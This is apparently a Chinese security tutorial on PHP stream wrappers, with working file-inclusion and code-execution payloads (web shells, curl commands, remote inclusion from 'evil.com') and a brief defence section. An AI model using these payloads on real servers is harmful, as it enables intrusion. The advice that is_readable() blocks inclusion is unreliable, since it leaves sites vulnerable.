0%

PHP Wrapper 利用

什么是php wrapper?

PHP wrapper基于流(stream)的概念,流是数据传输的抽象表示。wrapper定义了如何处理特定协议或资源(如文件、HTTP请求、内存流)的输入输出操作。每个wrapper通过PHP的流函数(如 fopen()file_get_contents)与底层资源交互,提供统一的借口来操作不同类型的数据源。wrapper除了内置于PHP之外,也可以通过 stream_wrapper_register()自定义。

如以下php代码

1
2
3
4
5
6
<?php
$handle = fopen("file://some.txt","rb");
while(feof($handle)!==true) {
echofgets($handle);
}
?>

等同于

1
2
3
<?php
print_r(file("file://some.txt"));
?>

PHP内置Wrapper列表

包装器名称 原理 用途
file:// 默认的文件系统包装器,允许访问本地文件系统中的文件和目录。 用于读取或写入本地文件,如配置文件、日志文件等。
http:// 通过HTTP协议访问远程服务器上的资源,使用GET方法获取数据。 用于从Web服务器获取文件或数据(如API调用),常用于抓取网页内容。
https:// 与http://类似,但通过SSL/TLS加密传输数据。 用于安全地访问远程Web资源,常用于处理需要加密的HTTP请求。
ftp:// 通过FTP协议访问远程FTP服务器上的文件,支持身份验证。 用于从FTP服务器下载或上传文件,常用于文件传输任务。
ftps:// FTP的加密版本,使用SSL/TLS保护数据传输。 用于安全地传输文件到FTP服务器,适用于需要加密的场景。
php:// 特殊的I/O流包装器,用于访问PHP进程的输入输出流或临时内存。 提供对标准输入输出、请求体、内存流的访问,常用于处理自定义输入输出或调试。
data:// 允许直接嵌入数据到URI中,通常以Base64编码形式存储。 用于将小型数据(如图片或脚本)嵌入代码中,避免外部文件依赖,常用于测试或简单数据传递。
zip:// 访问ZIP压缩文件内的内容,需提供ZIP文件路径和内部文件路径。 用于读取或操作ZIP文件中的内容,如解压特定文件,常用于处理压缩包。
phar:// 访问PHP归档文件(Phar)中的内容,类似于ZIP但专为PHP设计。 用于运行或访问Phar打包的PHP应用,常用于分发PHP库或应用程序。
glob:// 使用通配符模式匹配文件系统中的文件或目录。 用于批量处理文件,如查找所有.txt文件,常用于文件管理任务。
compress.zlib:// 处理使用zlib(gzip)压缩的文件或流,支持读写操作。 用于解压或压缩文件,常用于处理.gz文件或节省存储空间。
compress.bzip2:// 处理使用bzip2压缩的文件或流,支持读写操作。 用于解压或压缩文件,常用于处理.bz2文件,提供更高的压缩率。
ssh2:// 通过SSH2协议访问远程服务器的文件系统或执行命令(需SSH2扩展)。 用于通过SSH安全地操作远程文件或执行命令,常用于服务器管理。
ogg:// 处理Ogg Vorbis音频流(需oggvorbis扩展)。 用于读取或处理Ogg格式音频文件,常用于音频应用开发。

php:// 子包装器详解

php://包装器功能丰富且用途广泛,其子类型如下:

子包装器 原理 用途
php://stdin 提供对标准输入流的只读访问,等同于常量STDIN。 用于从命令行读取用户输入,适用于CLI脚本。
php://stdout 提供对标准输出流的可写访问,等同于常量STDOUT。 用于向命令行输出数据,适用于CLI脚本。
php://stderr 提供对标准错误流的可写访问,等同于常量STDERR。 用于输出错误信息到命令行,适用于CLI脚本中的错误处理。
php://input 提供对HTTP请求原始数据的只读访问,获取请求体内容。 用于读取POST、PUT等请求的原始数据,常用于RESTful API处理。
php://output 提供对输出缓冲区的可写访问,类似echo或print。 用于直接写入输出缓冲区,常用于动态生成内容。
php://memory 在内存中创建读写流,数据始终存储在内存中。 用于临时存储数据,适合小规模数据处理,关闭后数据丢失。
php://temp 在内存中创建读写流,超出指定大小(如2MB)后转为临时文件。 用于处理较大临时数据,内存不足时自动切换到文件存储。
php://filter 元包装器,允许在打开流时应用过滤器(如编码或转换)。 用于在读取或写入时处理数据,如将文件内容转为Base64编码,常用于调试或安全检查。

在渗透测试中的利用

file://

如果应用程序 未对用户输入的文件路径进行过滤 ,攻击者可以使用 file:// 访问服务器上的任意可读文件。

1
2
echo file_get_contents("file:///etc/passwd");
echo file_get_contents("file://C:/Windows/system.ini");

php://filter

file:// 不可用或被WAF过滤时可以利用编码方式读取敏感信息

  1. base64读取php源码
1
2
3
echo file_get_contents("php://filter/convert.base64-encode/resource=config.php");

echo "base64_encoded_string" | base64 -d
  1. filter chain结合LFI实现RCE

github: https://github.com/synacktiv/php_filter_chain_generator

php_filter_chain_generator.py 利用PHP过滤器的可组合性,通过精心设计的过滤器组合,将攻击者提供的PHP代码(如 <?php system('id'); ?>)转换为可在目标上下文中执行的形式,具体来说是利用不同编码和转码之间的差异,在php中这种差异导致的错误会被忽略,从而生成了不符预期的字符

我们可以在python源码中看到作者构建好的字母和数字的filter chain

1
2
3
4
5
6
7
8
9

conversions = {
...
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
....

即便是没有可写入路径的情况下也可以通过 php://temp来利用。

细节请阅读:PHP filters chain: What is it and how to use it

示例:利用filters chain向日志文件中注入恶意代码,然后利用LFI执行

1
2
3
4
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'

[+] The following gadget chain will generate the following code : <?php system("id"); ?> (base64 value: PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|c...de/resource=/var/log/apache2/access.log
1
2
3
4
# Testers should make sure to change the $URL, $FILTERS with the chaining that generates their payload and $FILE with the path to the file they can read.
curl --user-agent "PENTEST" "$URL?parameter=php://filter/$FILTERS/resource=$FILE"

curl --user-agent "PENTEST" "$URL?parameter=php://convert.base64-decode|...|resource=/var/log/apache2/access.log"

data://

前提: allow_url_include: on

data:// 允许在 URL 直接嵌入 Base64 编码的数据,并作为输入流。include() 会将 Base64 解码,并执行 PHP 代码

1
2
3
4
5
6
7
8
9
# Shell in base64 encoding
echo "<?php system($_GET['cmd']); ?>" | base64

# Accessing the log file via LFI
curl --user-agent "PENTEST" "$URL/?parameter=data://text/plain;base64,$SHELL_BASE64&cmd=id"

例:
include("data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+");
decode: <?php system('id'); ?>

php://input

前提: allow_url_include: on

php://input 允许读取 HTTP 请求的 原始输入数据 。会直接解析用户传入的代码并执行

1
2
3
4
# Testers should make sure to change the $URL
curl --user-agent "PENTEST" -s -X POST --data "<?php system('id'); ?>" "$URL?parameter=php://input"

curl -X POST --data "<?php system('id'); ?>" http://target.com/vuln.php

expect://

前提:expect extension

如果 expect:// 被启用,可以直接执行命令

1
2
3
curl --user-agent "PENTEST" -s "$URL/?parameter=expect://id"

echo file_get_contents("expect://ls -la");

zip://

前提:可以上传.zip文件

zip://会读取和执行zip中的文件,可以绕过一些检查, 可通过 include('zip://evil.zip#shell.php') 来执行恶意代码

1
2
3
4
5
echo "<?php system($_GET['cmd']); ?>" > payload.php
zip payload.zip payload.php

# Accessing the log file via LFI (the # identifier is URL-encoded)
curl --user-agent "PENTEST" "$URL/?parameter=zip://payload.zip%23payload.php&cmd=id"

phpar://

前提:可以上传文件

phar:// 允许访问 .phar 归档文件中的数据, 原理基本同 zip://

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();


php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg


curl --user-agent "PENTEST" "$URL/?parameter=phar://./shell.jpg%2Fshell.txt&cmd=id"


$object = unserialize(file_get_contents("phar://evil.phar"));

如果 unserialize() 解析 phar://,也可能触发 __wakeup()__destruct() 执行任意代码

1
$object = unserialize(file_get_contents("phar://evil.phar"));

compress.zlib://

compress.zlib:// 利用原理同上

1
include('compress.zlib://shell.php.gz')

compress.bzip2://

原理同上

1
include('compress.bzip2://shell.php.bz2')

ftp:// / ftps://

前提:allow_url_fopen=On

ftp:// 允许 PHP 访问 FTP 服务器上的文件,攻击者可以 远程包含恶意 PHP ,触发 RCE;也可以用于 SSRF(服务器端请求伪造) ,探测内网资产

1
echo file_get_contents("ftp://user:[email protected]/malware.php");

http:// / https://

http://允许从远程服务器加载恶意资源(如PHP脚本),执行代码或伪装合法请求

1
include('http://evil.com/shell.php')

防御手段

  1. 禁用危险Wrappers
    1
    2
    3
    allow_url_include=Off
    allow_url_fopen=Off
    disable_functions=system,passthru,exec,shell_exec,popen,proc_open
  2. 使用 is_readable()验证文件路径
    1
    2
    3
    4
    5
    if (is_readable($user_input_file)) {
    include $user_input_file;
    } else {
    die("Invalid file");
    }
  3. 严格控制 unserialize()
    1
    $data = unserialize($input, ['allowed_classes' => false]);

参考

  1. https://www.php.net/manual/en/wrappers.php
  2. https://www.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/php-wrappers-and-streams
  3. https://medium.com/@robsfromashes/php-wrapper-and-local-file-inclusion-2fb82c891f55
  4. https://www.freebuf.com/articles/web/193849.html
  5. php://filter chains:
    1. https://github.com/synacktiv/php_filter_chain_generator
    2. https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html